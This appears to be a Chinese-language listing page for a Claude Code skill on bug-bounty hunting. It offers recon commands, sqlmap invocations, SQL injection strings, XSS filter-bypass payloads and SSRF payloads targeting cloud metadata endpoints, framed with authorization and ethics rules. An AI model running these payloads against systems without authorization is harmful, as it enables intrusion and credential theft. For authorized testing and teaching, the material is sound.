关于 bug-bounty-program
Bug Bounty Program Specialist 是面向漏洞研究和漏洞赏金测试的安全技能,涵盖侦察、手动测试和自动化扫描。它还提供漏洞报告要点及授权范围、数据保护等测试规范。
主要功能
- 01按 OWASP Top 10 检查漏洞
- 02开展子域名、技术栈和端口侦察
- 03测试 SQL 注入、XSS 和 SSRF
- 04结合手动测试与自动扫描
- 05依据 CVSS 因素编写漏洞报告
- 06遵循授权范围和负责任披露
适用场景
- 01为授权目标进行漏洞赏金侦察
- 02测试 Web 应用中的常见漏洞
- 03整理漏洞严重性和报告内容
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ dengineproblem/ agents-monorepo --skill bug-bounty-program安装后在 Claude Code 中输入/bug-bounty-program确认已加载。
详细介绍
漏洞赏金计划专家
漏洞研究与漏洞赏金狩猎专家。
测试方法论
OWASP Top 10 重点
- 注入(SQL、NoSQL、LDAP、OS 命令)
- 身份验证失效
- 敏感数据泄露
- XML 外部实体(XXE)
- 访问控制失效
- 安全配置错误
- 跨站脚本(XSS)
- 不安全的反序列化
- 使用存在已知漏洞的组件
- 日志记录与监控不足
精力分配
- 信息收集:30%
- 手动测试:50%
- 自动化扫描:20%
信息收集
子域名枚举
# Пассивное перечисление
amass enum -passive -d target.com -o subdomains.txt
# Активное перечисление
subfinder -d target.com -all -o subfinder.txt
# DNS брутфорс
gobuster dns -d target.com -w wordlist.txt -o gobuster.txt
# Объединение результатов
cat subdomains.txt subfinder.txt gobuster.txt | sort -u > all_subs.txt
技术栈识别
# Wappalyzer CLI
wappalyzer https://target.com
# WhatWeb
whatweb -a 3 https://target.com
# Nuclei technology detection
nuclei -u https://target.com -t technologies/
端口扫描
# Быстрое сканирование
nmap -sS -sV -O -p- --min-rate 1000 target.com -oA nmap_full
# Сканирование сервисов
nmap -sC -sV -p 80,443,8080,8443 target.com -oA nmap_services
SQL 注入测试
手动检测
-- Error-based
' OR '1'='1
' AND '1'='2
' UNION SELECT NULL--
-- Time-based blind
'; WAITFOR DELAY '00:00:05'--
' OR SLEEP(5)--
-- Boolean-based blind
' AND 1=1--
' AND 1=2--
SQLMap
# Basic injection test
sqlmap -u "https://target.com/page?id=1" --batch
# With authentication
sqlmap -u "https://target.com/page?id=1" --cookie="session=abc123" --batch
# POST data
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch
# Database enumeration
sqlmap -u "https://target.com/page?id=1" --dbs --batch
sqlmap -u "https://target.com/page?id=1" -D dbname --tables --batch
XSS 测试
载荷类型
// Reflected XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
// DOM-based XSS
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror="alert('XSS')">
<svg/onload=alert('XSS')>
// Stored XSS via different contexts
"><script>alert('XSS')</script>
'-alert('XSS')-'
</title><script>alert('XSS')</script>
特定上下文的载荷
// In HTML attribute
" onfocus=alert('XSS') autofocus="
' onfocus=alert('XSS') autofocus='
// In JavaScript string
';alert('XSS');//
"-alert('XSS')-"
// In URL parameter
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
SSRF 测试
基本载荷
# Localhost bypass
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://127.1
http://0177.0.0.1
# Cloud metadata
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/
检测方法
# Out-of-band detection using Burp Collaborator
url = "http://your-collaborator-id.burpcollaborator.net"
# Webhook.site for testing
url = "https://webhook.site/unique-id"
报告撰写
结构
# Vulnerability Report
## Summary
[One-line description]
## Severity
[Critical/High/Medium/Low] - CVSS Score: X.X
## Affected Component
[URL/Endpoint/Feature]
## Description
[Detailed technical explanation]
## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]
## Proof of Concept
[Screenshots, code, requests]
## Impact
[Business/technical impact]
## Remediation
[Specific recommendations]
## References
[CVE, OWASP, etc.]
CVSS 计算器因素
- 攻击向量(AV):网络/相邻/本地/物理
- 攻击复杂度(AC):低/高
- 所需权限(PR):无/低/高
- 用户交互(UI):无/需要
- 范围(S):未更改/已更改
- 机密性影响(C):无/低/高
- 完整性影响(I):无/低/高
- 可用性影响(A):无/低/高
工具清单
信息收集
- Amass / Subfinder
- Nmap
- Shodan
- Google Dorks
Web 测试
- Burp Suite
- OWASP ZAP
- SQLMap
- Nuclei
自动化
- ffuf(模糊测试)
- httpx(探测)
- waybackurls
- gau(收集 URL)
道德准则
- 遵守范围 — 仅测试获准的目标
- 避免破坏性操作 — 避免 DoS 和数据丢失
- 保护数据 — 不传播发现的数据
- 负责任地报告 — 遵循披露政策
- 记录一切 — 做好详细记录
- 遵守速率限制 — 不要让系统过载
计划选择策略
标准
- 历史响应时间
- 赏金金额
- 范围广度
- 计划成熟度
- 社区反馈
优先级矩阵
| 计划类型 | 技能水平 | 潜力 |
|---|---|---|
| 新计划 | 任何 | 高 |
| 范围广泛 | 中级 | 中 |
| 范围狭窄 | 专家 | 低-中 |
| 仅 VDP | 初学者 | 低 |
评论
支持 Markdown